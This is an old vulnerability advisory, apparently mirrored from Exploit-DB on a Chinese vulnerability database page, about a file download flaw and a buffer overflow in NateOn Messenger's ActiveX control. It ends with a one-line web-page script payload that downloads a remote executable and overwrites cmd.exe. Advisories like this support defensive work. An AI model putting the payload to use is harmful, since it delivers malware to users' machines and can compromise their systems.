NateOn Messenger 3.0 - Arbitrary File Download / Buffer Overflow

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1055398 漏洞类型
发布时间 2005-09-29 更新时间 2005-09-29
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/26306
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/14974/info

NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX control that is installed with the application.

An attacker would exploit these issues by creating malicious HTML containing script code that accesses the vulnerable ActiveX controls. This issue allows remote attackers to fetch arbitrary remote files and save them on the local machine.

The buffer overflow vulnerability allows remote attackers to execute arbitrary machine code in the context of the user running the affected software, facilitating remote system compromise.

Attackers may utilize these vulnerabilities in conjunction with each other in order to transfer malicious code to targeted users, and then execute it. 

To exploit the arbitrary file download vulnerability, a malicious Web page may include the following script code:

GotNate.Excute("1",'http://www.example.com/somefile.exe','c:\\windows\\system32\\cmd.exe');